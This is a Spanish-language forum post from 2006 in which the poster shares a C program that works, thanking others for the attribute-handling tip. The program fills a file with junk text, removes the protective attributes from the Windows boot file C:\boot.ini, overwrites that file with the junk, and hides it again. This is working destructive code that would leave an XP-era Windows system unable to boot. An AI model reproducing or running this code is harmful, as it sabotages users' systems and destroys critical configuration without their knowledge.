
05/11/2006, 09:53
|
| | Fecha de Ingreso: septiembre-2006
Mensajes: 328
Antigüedad: 18 años, 6 meses Puntos: 3 | |
Eso resulto, lo k necesitaba era la parte de los atributos. Gracias.
#include <stdio.h>
#include <stdlib.h>
void main (void) {
FILE *boot;
char string [20] = "Mi Programa\n";
int cont;
boot = fopen ("C:\\Documents and Settings\\Pedro.CHANGE\\My Documents\\boot.ini", "w");
for (cont =0; cont <=10; cont++)
fputs (string, boot);
fclose (boot);
system("attrib \"C:\\boot.ini\" -S -H");
system("copy \"C:\\Documents and Settings\\Pedro.CHANGE\\My Documents\\boot.ini\" C:\\");
system("attrib \"C:\\boot.ini\" +S +H");
} |